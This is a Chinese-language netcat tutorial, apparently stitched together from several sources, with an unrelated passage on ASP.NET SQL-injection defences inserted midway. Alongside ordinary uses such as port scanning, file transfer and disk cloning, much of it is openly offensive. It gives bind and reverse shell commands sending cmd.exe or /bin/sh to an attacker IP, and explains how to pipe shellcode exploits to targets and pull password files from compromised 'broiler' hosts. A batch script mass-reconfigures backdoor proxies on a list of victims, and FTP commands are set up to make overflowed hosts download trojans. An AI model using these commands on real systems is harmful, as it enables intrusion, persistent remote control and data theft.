NC 全名 Netcat (網(wǎng)絡(luò)刀)，作者是 Hobbit && ChrisWysopal。因其功能十分強(qiáng)大，體積小巧而出名，又被大家稱(chēng)為“瑞士軍刀”。nc - TCP/IP swiss army knife
nc 常用于溢出、反向鏈接、上傳文本等。其實(shí)是一個(gè)非標(biāo)準(zhǔn)的 telnet 客戶端程序。也是一個(gè) putty.exe 客戶端程序。
socat 是一個(gè) nc 的替代品，可以稱(chēng)為 nc++。是netcat的N倍加強(qiáng)版。socat 支持的連接方式很多，有 ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl 等
功能說(shuō)明：功能強(qiáng)大的網(wǎng)絡(luò)工具
語(yǔ) 法：nc [-hlnruz][-g<網(wǎng)關(guān)...>][-G<指向器數(shù)目>][-i<延遲秒數(shù)>][-o<輸出文件>][-p<通信端口>]
[-s<來(lái)源位址>][-v...][-w<超時(shí)秒數(shù)>][主機(jī)名稱(chēng)][通信端口...]
參 數(shù)：
-g<網(wǎng)關(guān)> 設(shè)置路由器躍程通信網(wǎng)關(guān)，最多可設(shè)置8個(gè)。
-G<指向器數(shù)目> 設(shè)置來(lái)源路由指向器，其數(shù)值為4的倍數(shù)。
-h 在線幫助。
-i<延遲秒數(shù)> 設(shè)置時(shí)間間隔，以便傳送信息及掃描通信端口。
-l 監(jiān)聽(tīng)模式，用于入站連接 (監(jiān)聽(tīng)本地端口)。
-n 直接使用IP地址，而不通過(guò)域名服務(wù)器。
-o<輸出文件> 指定文件名稱(chēng)，把往來(lái)傳輸?shù)臄?shù)據(jù)以16進(jìn)制字碼傾倒成該文件保存。
-p<通信端口> 設(shè)置本地主機(jī)使用的通信端口。
-r 隨機(jī)指定本地與遠(yuǎn)端主機(jī)的通信端口。
-s<來(lái)源位址> 設(shè)置本地主機(jī)送出數(shù)據(jù)包的IP地址。
-u 使用UDP傳輸協(xié)議。
-v 顯示指令執(zhí)行過(guò)程。
-w<超時(shí)秒數(shù)> 設(shè)置等待連線的時(shí)間。
-z 使用0輸入/輸出模式，只在掃描通信端口時(shí)使用。
[root@hatest1 ~]# type -a nc
nc is /usr/bin/nc
[root@hatest1 ~]# rpm -q nc
nc-1.10-22
1）端口掃描
nc -v -z host.example.com 70-80 #掃描端口(70到80)，可指定范圍。-v輸出詳細(xì)信息。
nc -v -w 1 192.168.228.222 -z 1-1000
root@~# nc -v -w 2 192.168.2.34 -z 21-24 # 也可以不帶-z參數(shù)試下效果
nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused
Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!
nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused
root@10.1.1.43:~# nc -v -z -w2 127.0.0.1 1-100
root@10.1.1.43:~# nc -v -w 10 10.1.1.180 80
root@10.1.1.43:~# nc -v -w 10 10.1.1.180 -z 80-30000
# 監(jiān)聽(tīng)本地端口
root@10.1.1.43:~# nc -l -p 1234
root@10.1.1.43:~# netstat -tunlp | grep 1234
tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN 15543/nc
# 測(cè)試UDP端口
root@172.16.211.34:web# netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1111/sshd
udp 0 0 0.0.0.0:68 0.0.0.0:* 887/dhclient
root@172.16.211.35:~# nc -vuz 172.16.211.34 68
Connection to 172.16.211.34 68 port [udp/bootpc] succeeded!
nc -p 1234 -w 5 host.example.com 80
建立從本地1234端口到host.example.com的80端口連接，5秒超時(shí)
nc -u host.example.com 53
u為UDP連接
2) 遠(yuǎn)程拷貝文件
從server1拷貝文件到server2上。
先在server2上，用nc激活監(jiān)聽(tīng)，server2上運(yùn)行：
[root@hatest2 tmp]# nc -lp 1234 > install.log
server1上運(yùn)行：
[root@hatest1 ~]# ll install.log
-rw-r--r-- 1 root root 39693 12月 20 2007 install.log
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log
目的主機(jī)監(jiān)聽(tīng)
nc -l 監(jiān)聽(tīng)端口 > 要接收的文件名
nc -l 4444 > cache.tar.gz
源主機(jī)發(fā)起請(qǐng)求
nc 目的主機(jī)ip 目的端口
nc 192.168.0.85 4444
netstat 如下
[root@localhost jiangbao]# netstat -tpln
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 18166/nc
目錄傳輸
從server1拷貝nginx-0.6.34目錄內(nèi)容到server2上。
先在server2上，用nc激活監(jiān)聽(tīng)，server2上運(yùn)行：
[root@hatest2 tmp]# nc -l 1234 |tar xzvf -
server1上運(yùn)行：
[
root@hatest1 ~]# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
[root@hatest1 ~]# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234
從192.168.2.33拷貝文件到192.168.2.34
在192.168.2.34上： nc -l 1234 > test.txt
在192.168.2.33上： nc 192.168.2.34 < test.txt
克隆硬盤(pán)或分區(qū)
操作與上面的拷貝是雷同的，只需要由dd獲得硬盤(pán)或分區(qū)的數(shù)據(jù)，然后傳輸即可。
克隆硬盤(pán)或分區(qū)的操作，不應(yīng)在已經(jīng)mount的的系統(tǒng)上進(jìn)行。
所以，需要使用安裝光盤(pán)引導(dǎo)后，進(jìn)入拯救模式（或使用Knoppix工具光盤(pán)）啟動(dòng)系統(tǒng)后，在server2上進(jìn)行類(lèi)似的監(jiān)聽(tīng)動(dòng)作：
# nc -l -p 1234 | dd of=/dev/sda
server1上執(zhí)行傳輸，即可完成從server1克隆sda硬盤(pán)到server2的任務(wù)：
# dd if=/dev/sda | nc 192.168.228.222 1234
3) 簡(jiǎn)單聊天工具
在192.168.2.34上： nc -l 1234
在192.168.2.33上： nc 192.168.2.34 1234
這樣，雙方就可以相互交流了。使用ctrl+C(或D）退出。
nc -l 1234
nc 127.0.0.1 1234
在端口1234建立連接，互相發(fā)送輸入
4) 保存Web頁(yè)面
# while true; do nc -l -p 80 -q 1 < somepage.html; done
5) 模擬HTTP Headers
[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser
HTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html [......]
在nc命令后，輸入紅色部分的內(nèi)容，然后按兩次回車(chē)，即可從對(duì)方獲得HTTP Headers內(nèi)容。
echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80
連接到主機(jī)并執(zhí)行
6) 用nc命令操作memcached
1）存儲(chǔ)數(shù)據(jù)：printf “set key 0 10 6rnresultrn” |nc 192.168.2.34 11211
2）獲取數(shù)據(jù)：printf “get keyrn” |nc 192.168.2.34 11211
3）刪除數(shù)據(jù)：printf “delete keyrn” |nc 192.168.2.34 11211
4）查看狀態(tài)：printf “statsrn” |nc 192.168.2.34 11211
5）模擬top命令查看狀態(tài)：watch “echo stats” |nc 192.168.2.34 11211
6）清空緩存：printf “flush_allrn” |nc 192.168.2.34 11211 (小心操作，清空了緩存就沒(méi)了）
補(bǔ)充教程 2
nc的使用方法
netcat被譽(yù)為網(wǎng)絡(luò)安全界的‘瑞士軍刀'，相信沒(méi)有什么人不認(rèn)識(shí)它吧......
一個(gè)簡(jiǎn)單而有用的工具，透過(guò)使用TCP或UDP協(xié)議的網(wǎng)絡(luò)連接去讀寫(xiě)數(shù)據(jù)。它被設(shè)計(jì)成一個(gè)穩(wěn)定的后門(mén)工具，能夠直接由其它程序和腳本輕松驅(qū)動(dòng)。同時(shí)，它也是一個(gè)功能強(qiáng)大的網(wǎng)絡(luò)調(diào)試和探測(cè)工具，能夠建立你需要的幾乎所有類(lèi)型的網(wǎng)絡(luò)連接，還有幾個(gè)很有意思的內(nèi)置功能(詳情請(qǐng)看下面的使用方法)。 在中國(guó)它的WINDOWS版有兩個(gè)版本，一個(gè)是原創(chuàng)者Chris Wysopal寫(xiě)的原版本，另一個(gè)是由‘紅與黑'編譯后的新‘濃縮'版。‘濃縮'版的主程序只有10多KB（10多KB的NC是不能完成下面所說(shuō)的第4、第5種使用方法，有此功能的原版NC好象要60KB：P），雖然“體積”小，但很完成很多工作。
軟件介紹：
工具名：Netcat
作者：Hobbit && Chris Wysopal
網(wǎng)址：http://www.atstake.com/research/tools/network_utilities/
類(lèi)別：開(kāi)放源碼
平臺(tái)：Linux/BSD/Unix/Windows
WINDOWS下版本號(hào)：[v1.10 NT]
參數(shù)介紹：
nc.exe -h 即可看到各參數(shù)的使用方法。
基本格式：nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d 后臺(tái)模式
-e 程序重定向，一旦連接，就執(zhí)行 [危險(xiǎn)!!]
-g gateway source-routing hop point[s], up to 8 設(shè)置路由器躍程通信網(wǎng)關(guān)，最多可設(shè)置8個(gè)。
-G num source-routing pointer: 4, 8, 12, ... 設(shè)置來(lái)源路由指向器，其數(shù)值為4的倍數(shù)。
-h 幫助信息
-i secs 延時(shí)的間隔
-l 監(jiān)聽(tīng)模式，用于入站連接 (監(jiān)聽(tīng)本地端口)
-L 連接關(guān)閉后,仍然繼續(xù)監(jiān)聽(tīng)
-n 指定數(shù)字的IP地址，不能用hostname。即直接使用IP地址，而不通過(guò)域名服務(wù)器。
-o file 指定文件名稱(chēng)，把往來(lái)傳輸?shù)臄?shù)據(jù)以16進(jìn)制字碼傾倒成該文件保存。
-p port 本地端口號(hào) (指定本地端口 )
-r 隨機(jī)本地及遠(yuǎn)程端口
-s addr 本地源地址
-t 使用TELNET交互方式(用telnet來(lái)回應(yīng) )
-u UDP模式
-v 詳細(xì)輸出--用兩個(gè)-v( -vv)可得到更詳細(xì)的內(nèi)容. 獲得端口信息
-w secs timeout的時(shí)間
-z 將輸入輸出關(guān)掉--只用于掃描. 端口的表示方法可寫(xiě)為M-N的范圍格式。
基本用法：
大概有以下幾種用法：
1) 連接到 remote 主機(jī)，例子：
格式：nc -nvv 192.168.x.x 80
講解：連到192.168.x.x的TCP80端口
2) 監(jiān)聽(tīng) local 主機(jī)，例子：
格式：nc -l -p 80
講解：監(jiān)聽(tīng)本機(jī)的TCP80端口
3) 掃描遠(yuǎn)程主機(jī)，例子：
格式：nc -nvv -w2 -z 192.168.x.x 80-445
講解：掃描192.168.x.x的TCP80到TCP445的所有端口
4) remote 主機(jī)綁定 shell，例子：
格式：nc -l -p 5354 -t -e c:winntsystem32cmd.exe
講解：綁定REMOTE主機(jī)的CMDSHELL在REMOTE主機(jī)的TCP5354端口
5) REMOTE主機(jī)綁定SHELL并反向連接，例子：
格式：nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
講解：綁定REMOTE主機(jī)的CMDSHELL并反向連接到192.168.x.x的TCP5354端口
以上為最基本的幾種用法（其實(shí)NC的用法還有很多，當(dāng)配合管道命令“|”與重定向命令“<”、“>”等等命令功能更強(qiáng)大......）。
高級(jí)用法：
6) 作攻擊程序用，例子：
格式1：type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
格式2：nc -nvv 192.168.x.x 80 < c:exploit.txt
講解：連接到192.168.x.x的80端口，并在其管道中發(fā)送c:exploit.txt的內(nèi)容(兩種格式確有相同的效果，真是有異曲同工之妙:P)
附：c:exploit.txt為shellcode等
7) 作蜜罐用[1]，例子：
格式：nc -L -p 80
講解：使用-L(注意L是大寫(xiě))可以不停地監(jiān)聽(tīng)某一個(gè)端口，直到ctrl+c為止.
8) 作蜜罐用[2]，例子：
格式：nc -L -p 80 > c:log.txt
講解：使用-L可以不停地監(jiān)聽(tīng)某一個(gè)端口，直到ctrl+c為止，同時(shí)把結(jié)果輸出到c:log.txt中，如果把‘>'改為‘>>'即可以追加日志。
附：c:log.txt為日志等
9)作蜜罐用[3]，例子：
格式1：nc -L -p 80 < c:honeypot.txt
格式2：type.exe c:honeypot.txt|nc -L -p 80
講解：使用-L可以不停地監(jiān)聽(tīng)某一個(gè)端口，直到ctrl+c為止，并把c:honeypot.txt的內(nèi)容‘送'入其管道中。
如果攻擊者知道應(yīng)用會(huì)將表單中輸入的內(nèi)容直接用于驗(yàn)證身份的查詢(xún)，他就會(huì)嘗試輸入某些特殊的SQL字符串篡改查詢(xún)改變其原來(lái)的功能，
欺騙系統(tǒng)授予訪問(wèn)權(quán)限。系統(tǒng)環(huán)境不同，攻擊者可能造成的損害也不同，這主要由應(yīng)用訪問(wèn)數(shù)據(jù)庫(kù)的安全權(quán)限決定。
如果用戶的帳戶具有管理員或其他比較高級(jí)的權(quán)限，攻擊者就可能對(duì)數(shù)據(jù)庫(kù)的表執(zhí)行各種他想要做的操作，
包括添加、刪除或更新數(shù)據(jù)，甚至可能直接刪除表。
二、如何防范？
好在要防止ASP.NET應(yīng)用被SQL注入式攻擊闖入并不是一件特別困難的事情，只要在利用表單輸入的內(nèi)容構(gòu)造SQL命令之前，把所有輸入內(nèi)容過(guò)濾一番就可以了。過(guò)濾輸入內(nèi)容可以按多種方式進(jìn)行。
⑴ 對(duì)于動(dòng)態(tài)構(gòu)造SQL查詢(xún)的場(chǎng)合，可以使用下面的技術(shù)：
第一：替換單引號(hào)，即把所有單獨(dú)出現(xiàn)的單引號(hào)改成兩個(gè)單引號(hào)，防止攻擊者修改SQL命令的含義。再來(lái)看前面的例子，“Select * from Users Where login = or 1=1 AND password = or 1=1”顯然會(huì)得到與“Select * from Users Where login = or 1=1 AND password = or 1=1”不同的結(jié)果。
第二：刪除用戶輸入內(nèi)容中的所有連字符，防止攻擊者構(gòu)造出類(lèi)如“Select * from Users Where login = mas -- AND password =”之類(lèi)的查詢(xún)，因?yàn)檫@類(lèi)查詢(xún)的后半部分已經(jīng)被注釋掉，不再有效，攻擊者只要知道一個(gè)合法的用戶登錄名稱(chēng)，根本不需要知道用戶的密碼就可以順利獲得訪問(wèn)權(quán)限。
第三：對(duì)于用來(lái)執(zhí)行查詢(xún)的數(shù)據(jù)庫(kù)帳戶，限制其權(quán)限。用不同的用戶帳戶執(zhí)行查詢(xún)、插入、更新、刪除操作。由于隔離了不同帳戶可執(zhí)行的操作，因而也就防止了原本用于執(zhí)行Select命令的地方卻被用于執(zhí)行Insert、Update或Delete命令。
⑵ 用存儲(chǔ)過(guò)程來(lái)執(zhí)行所有的查詢(xún)。SQL參數(shù)的傳遞方式將防止攻擊者利用單引號(hào)和連字符實(shí)施攻擊。此外，它還使得數(shù)據(jù)庫(kù)權(quán)限可以限制到只允許特定的存儲(chǔ)過(guò)程執(zhí)行，所有的用戶輸入必須遵從被調(diào)用的存儲(chǔ)過(guò)程的安全上下文，這樣就很難再發(fā)生注入式攻擊了。
⑶ 限制表單或查詢(xún)字符串輸入的長(zhǎng)度。如果用戶的登錄名字最多只有10個(gè)字符，那么不要認(rèn)可表單中輸入的10個(gè)以上的字符，這將大大增加攻擊者在SQL命令中插入有害代碼的難度。
⑷ 檢查用戶輸入的合法性，確信輸入的內(nèi)容只包含合法的數(shù)據(jù)。數(shù)據(jù)檢查應(yīng)當(dāng)在客戶端和服務(wù)器端都執(zhí)行——之所以要執(zhí)行服務(wù)器端驗(yàn)證，是為了彌補(bǔ)客戶端驗(yàn)證機(jī)制脆弱的安全性。
在客戶端，攻擊者完全有可能獲得網(wǎng)頁(yè)的源代碼，修改驗(yàn)證合法性的腳本（或者直接刪除腳本），然后將非法內(nèi)容通過(guò)修改后的表單提交給服務(wù)器。因此，要保證驗(yàn)證操作確實(shí)已經(jīng)執(zhí)行，唯一的辦法就是在服務(wù)器端也執(zhí)行驗(yàn)證。你可以使用許多內(nèi)建的驗(yàn)證對(duì)象，例如RegularExpressionValidator，它們能夠自動(dòng)生成驗(yàn)證用的客戶端腳本，當(dāng)然你也可以插入服務(wù)器端的方法調(diào)用。如果找不到現(xiàn)成的驗(yàn)證對(duì)象，你可以通過(guò)CustomValidator自己創(chuàng)建一個(gè)。
⑸ 將用戶登錄名稱(chēng)、密碼等數(shù)據(jù)加密保存。加密用戶輸入的數(shù)據(jù)，然后再將它與數(shù)據(jù)庫(kù)中保存的數(shù)據(jù)比較，這相當(dāng)于對(duì)用戶輸入的數(shù)據(jù)進(jìn)行了“消毒”處理，用戶輸入的數(shù)據(jù)不再對(duì)數(shù)據(jù)庫(kù)有任何特殊的意義，從而也就防止了攻擊者注入SQL命令。System.Web.Security.formsAuthentication類(lèi)有一個(gè)HashPasswordForStoringInConfigFile，非常適合于對(duì)輸入數(shù)據(jù)進(jìn)行消毒處理。
⑹ 檢查提取數(shù)據(jù)的查詢(xún)所返回的記錄數(shù)量。如果程序只要求返回一個(gè)記錄，但實(shí)際返回的記錄卻超過(guò)一行，那就當(dāng)作出錯(cuò)處理。
打開(kāi)本地的7626端口進(jìn)行監(jiān)聽(tīng)，并反饋連接信息。
如果有掃描冰河木馬的人會(huì)認(rèn)為你中了木馬開(kāi)放了7626，和“小豬快跑”的功能有點(diǎn)象。再加個(gè)批處理文件一起用的話就是一個(gè)“小豬快跑”了。
如果要監(jiān)視是否有入侵本地80端口的行為，并記下來(lái)用這個(gè)命令。這樣，凡是有針對(duì)本機(jī)80端口的攻擊都會(huì)被記錄下來(lái)的
nc -l -p 123 -e cmd.exe 或者是: nc -l -p 123 -t
如果你通過(guò)溢出進(jìn)入了別人的機(jī)器，就可以運(yùn)行上面命令。作用都是以cmd.exe來(lái)響應(yīng)到機(jī)器上123端口的連接。
這樣就把溢出的主機(jī)變成了一臺(tái)telnet肉雞了。也可以用命令讓肉雞主動(dòng)連接你的主機(jī),假設(shè)我的IP是192.168.0.1
在肉雞上運(yùn)行： nc -e cmd.exe 192.168.0.1 777 。再在本地機(jī)器上運(yùn)行： nc -l -p 777
意思是讓肉雞將cmd.exe(就是個(gè)shell)主動(dòng)響應(yīng)到你電腦的777端口。你再在本地機(jī)上監(jiān)聽(tīng)777端口，這樣就進(jìn)入了對(duì)方的cmd了
這也微十時(shí)毫 反彈端口式木馬的原理了。
獲取192.168.0.25的80端口的信息。可以獲得IIS版本等很多重要信息 的
nc -v -z 192.168.0.25 1-100
掃描192.168.0.25的1到100間的TCP端口
nc -v -z -u 192.168.0.25 1-100
這是掃描1到00間的UDP端口
nc -vv ip port //端口的刺探：
RIVER [192.168.0.198] 19190 (?) open //顯示是否開(kāi)放open
掃描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
這樣掃描會(huì)留下大量的痕跡，系統(tǒng)管理員會(huì)額外小心。
后門(mén)
victim machine: // 受害者的機(jī)器
nc -l -p port -e cmd.exe // win2000
nc -l -p port -e /bin/sh // unix,linux
attacker machine: // 攻擊者的機(jī)器.
nc ip -p port // 連接victim_IP,然后得到一個(gè)shell。
反向連接
attacker machine: //一般是sql2.exe,遠(yuǎn)程溢出,webdavx3.exe攻擊.
//或者wollf的反向連接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者：
attacker machine:
nc -vv -l -p port1
nc -vv -l -p prot2
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加參數(shù)-s（nc.exe -L -p 139 -d -e cmd.exe -s 對(duì)方機(jī)器IP），這樣就可以保證nc.exe優(yōu)先于NETBIOS。
傳送文件：
attacker machine <-- victim machine //從肉雞拖密碼文件回來(lái).
nc -d -l -p port < path\filedest 可以shell執(zhí)行
nc -vv attacker_ip port > path\file.txt 需要Ctrl+C退出
//肉雞需要gui界面的cmd.exe里面執(zhí)行(終端登陸,不如安裝FTP方便).否則沒(méi)有辦法輸入Crl+C.
attacker machine --> victim machine //上傳命令文件到肉雞
nc －vv -l -p port > path\file.txt 需要Ctrl+C退出
nc -d victim_ip port < path\filedest 可以shell執(zhí)行
//這樣比較好.我們登陸終端.入侵其他的肉雞.可以選擇shell模式登陸.
端口數(shù)據(jù)抓包.
nc -vv -w 2 -o test.txt xfocus.Net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00000084 83 00 00 01 8f # .....
telnet,自動(dòng)批處理。
nc victim_ip port < path\file.cmd 顯示執(zhí)行過(guò)程.
nc -vv victim_ip port < path\file.cmd 顯示執(zhí)行過(guò)程.
nc -d victim_ip port < path\file.cmd 安靜模式.
_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd \
md test
cd /d %windir%\system32\
net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit
_______________file.cmd__END___________________
########################################
管理肉雞,更改肉雞設(shè)置
########################################
1) 比如要統(tǒng)一更改肉雞上面的代理端口.snake.exe 修改為11111 服務(wù)名稱(chēng)"sksockserver"，使用winshell后門(mén). 端口1234 密碼password
命令格式就是：
modi.bat youip.txt
___________modi.bat____________________________
@if "%1"=="" echo Error: no ip.txt &&goto END
:start
@echo password >a.cmd
@echo s >>a.cmd
@echo cd /d %%windir%%\system32\ >>a.cmd
@net stop "sksockserver" >>a.cmd
@snake.exe -config port 11111 >>a.cmd
@net start "sksockserver" >>a.cmd
@exit >>a.cmd
:auto
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)
:END
___________modi.bat__END_______________________
2)
@echo off
color f0
:start
cls
C:\nc -vv -w 3 -l -p 80>>80.txt
goto start
把防火墻關(guān)掉以后運(yùn)行這個(gè)批處理，會(huì)監(jiān)聽(tīng)到許多探測(cè)U漏洞的信息，大多是三條一組--妮姆達(dá)病毒掃描你的。
這樣就會(huì)得到肉雞的.雖然質(zhì)量不高.但是也是一種便宜的辦法.
肉雞特征：
1。unicode漏洞
2。guest密碼為空，administrators組用戶
3。其他漏洞
用于傳輸文件 — ncp
#! /bin/sh
## 類(lèi)似于rcp，但是是用netcat在高端口做的
## 在接收文件的機(jī)器上做"ncp targetfile"
## 在發(fā)送文件的機(jī)器上做"ncp sourcefile receivinghost"
## 如果調(diào)用了 "nzp" ，會(huì)將傳輸文件壓縮
## 這里定義你想使用的端口，可以自由選擇
MYPORT=23456
## 如果nc沒(méi)有在系統(tǒng)路徑中的話，要把下面一行注釋去掉，加以修改
# PATH=$:$ ; export PATH
## 下面這幾行檢查參數(shù)輸入情況：
test "$3" && echo "too many args" && exit 1
test ! "$1" && echo "no args?" && exit 1
me=`echo $0 | sed s+.*/++`
test "$me" = "nzp" && echo [compressed mode]
# if second arg, its a host to send an [extant] file to.
if test "$2" ; then
test ! -f "$1" && echo "cant find $1" && exit 1
if test "$me" = "nzp" ; then
compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0
else
nc -v -w 2 $2 $MYPORT < "$1" && exit 0
fi
echo "transfer FAILED!"
exit 1
fi
# 是否在接收文件機(jī)器當(dāng)前目錄有同名文件
if test -f "$1" ; then
echo -n "Overwrite $1? "
read aa
test ! "$aa" = "y" && echo "[punted!]" && exit 1
fi
# 30 seconds oughta be pleeeeenty of time, but change if you want.
if test "$me" = "nzp" ; then
# 注意這里nc的用法，結(jié)合了重定向符號(hào)和管道
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0
else
nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0
fi
echo "transfer FAILED!"
# clean up, since even if the transfer failed, $1 is already trashed
rm -f "$1"
exit 1
這樣的話，我只要在A機(jī)器上先 QuackA# ncp ../abcd
listening on 然后在另一臺(tái)機(jī)器B上
QuackB#ncp abcd 192.168.0.2
quackb [192.168.0.1] 23456 (?)
A機(jī)上出現(xiàn)
open connect to [192.168.0.2] from quackb [192.168.0.1] 1027
# 查看一下，文件傳輸完畢。
===========================================================================
【本地運(yùn)行】nc -v ip port
【命令解釋】掃瞄某 IP 的某個(gè)端口，返回信息詳細(xì)輸出。
===========================================================================
【本地運(yùn)行】nc -v -z ip port-port
【命令解釋】掃描某IP的端口到某端口，返回信息詳細(xì)輸出，但掃描速度較慢。
===========================================================================
【本地運(yùn)行】nc -v -z -u ip port-port
【命令解釋】掃描某 IP 的某 UDP 端口到某 UDP 端口，返回信息詳細(xì)輸出，但掃描速度較慢。
===========================================================================
【本地運(yùn)行】nc -l -p 80
【命令解釋】開(kāi)啟本機(jī)的 TCP 80 端口并監(jiān)聽(tīng)。
===========================================================================
【本地運(yùn)行】nc -l -v -p 80
【命令解釋】開(kāi)啟本機(jī)的 TCP 80 端口并將監(jiān)聽(tīng)到的信息輸出到當(dāng)前 CMD 窗口。
===========================================================================
【本地運(yùn)行】nc -l -p 80 > E:/log.dat
【命令解釋】開(kāi)啟本機(jī)的 TCP 80 端口并將監(jiān)聽(tīng)到的信息輸出到 E:/log.dat 下的日志文件里。
===========================================================================
【本地運(yùn)行】nc -nvv 192.168.1.101 80
【命令解釋】連接到192.168.1.101主機(jī)的 80 端口。
===========================================================================
【本地運(yùn)行】nc -nvv -w2 -z 192.168.1.101 80-1024
【命令解釋】掃錨192.168.1.101的80-1024端口，連接超時(shí)時(shí)間為2秒。
===========================================================================
【遠(yuǎn)程運(yùn)行】nc -l -p 2012 -t -e cmd.exe
【本地運(yùn)行】nc -nvv 192.168.1.101 2012
【命令解釋】采用正向連接方式，遠(yuǎn)程主機(jī)（注：假設(shè)IP地址為 192.168.1.101）上運(yùn)行 nc -l -p 2012 -t -e cmd.exe 意為綁定遠(yuǎn)程主機(jī)的 CMD 到
【命令解釋】2012 端口，當(dāng)本地主機(jī)連接遠(yuǎn)程主機(jī)成功時(shí)就會(huì)返回給本地主機(jī)一個(gè)CMD Shell ；在本地主機(jī)上運(yùn)行 nc -nvv 192.168.1.101 2012 用于
【命令解釋】連接已經(jīng)將 CMD 重定向到 2012 端口的遠(yuǎn)程主機(jī)（注：假設(shè)IP地址為 192.168.1.101）。
===========================================================================
【本地運(yùn)行】nc -l -p 2012
【遠(yuǎn)程運(yùn)行】nc -t -e cmd.exe 192.168.1.102 2012
【命令解釋】采用反向連接方式，先在本地主機(jī)運(yùn)行 nc -l -p 2012 開(kāi)啟本地主機(jī)的（注：假設(shè)IP地址為 192.168.1.102）2012 端口并監(jiān)聽(tīng)等待遠(yuǎn)程主
【命令解釋】機(jī)連接；在遠(yuǎn)程主機(jī)上運(yùn)行 nc -t -e cmd.exe 192.168.1.102 2012 將遠(yuǎn)程主機(jī)的 CMD 重定向到 IP 地址為 192.168.1.102 端口號(hào)為
【命令解釋】2012 的主機(jī)上，連接成功后 IP 地址為 192.168.1.102 的主機(jī)會(huì)得到一個(gè)CMD Shell。
===========================================================================
【本地運(yùn)行】nc -v -n ip port < C:/sunzn.exe
【遠(yuǎn)程運(yùn)行】nc -v -l -p port > D:/sunzn.exe
【命令解釋】在本地運(yùn)行 nc -v -n ip port < C:/sunzn.exe 意為從本地 C 盤(pán)根目錄中讀取 sunzn.exe 文件的內(nèi)容，并把這些數(shù)據(jù)發(fā)送到遠(yuǎn)程主機(jī)的
【命令解釋】對(duì)應(yīng)端口上（注：命令行中的 IP 為接收文件的遠(yuǎn)程主機(jī) IP ），在遠(yuǎn)程主機(jī)運(yùn)行 nc -v -l -p port > D:/sunzn.exe 意為監(jiān)聽(tīng)對(duì)應(yīng)端口并
【命令解釋】把接收到的信息數(shù)據(jù)寫(xiě)到 D:/sunzn.exe 中，兩行命令實(shí)現(xiàn)了文件在本地主機(jī)和遠(yuǎn)程主機(jī)間的傳輸。
===========================================================================
【本地運(yùn)行】nc -L -p 8989<C:\ftp.txt （ ftp.txt 中為FTP自動(dòng)下載命令）
【命令解釋】不停地監(jiān)聽(tīng) 8989 端口，并把 C:\ftp.txt 中的內(nèi)容發(fā)給任何一臺(tái)連接本機(jī) 8989 端口的主機(jī)，可起到傳送文件作用（此用法經(jīng)常用于反向
【命令解釋】溢出）。溢出遠(yuǎn)程主機(jī)時(shí)，一旦溢出的遠(yuǎn)程主機(jī)連接本地主機(jī) 8989 端口，遠(yuǎn)程主機(jī)就會(huì)自動(dòng)用 FTP 下載指定的文件，如木馬。
===========================================================================
簡(jiǎn)單使用教程：
命令1：監(jiān)聽(tīng)命令
nc -l -p port
nc -l -p port > e:\log.dat
nc -l -v -p port
參數(shù)解釋?zhuān)?br />
-l：監(jiān)聽(tīng)端口，監(jiān)聽(tīng)入站信息
-p：后跟本地端口號(hào)
-v：顯示端口的信息，如果使用-vv的話，則會(huì)顯示端口更詳細(xì)的信息
提示：一般大家都愛(ài)用-vv
nc -l -p 80 //這個(gè)很簡(jiǎn)單，監(jiān)聽(tīng)80端口。如果機(jī)器上運(yùn)行這個(gè)命令，端口80被認(rèn)為是開(kāi)放的，可以欺騙掃描器
nc -l -p 80 > e:\log.dat //將詳細(xì)信息寫(xiě)入E盤(pán)log.dat的日志文件
nc -l -v -p 80 //和上邊命令相似，會(huì)直接顯示信息在運(yùn)行著NC的屏幕上。
實(shí)踐：
例如：nc -l -v -p 80
然后在瀏覽器中輸入本機(jī)IP：127.0.0.1
命令2：程序定向（反彈shell的方法）
nc -l -p port -t -e cmd.exe
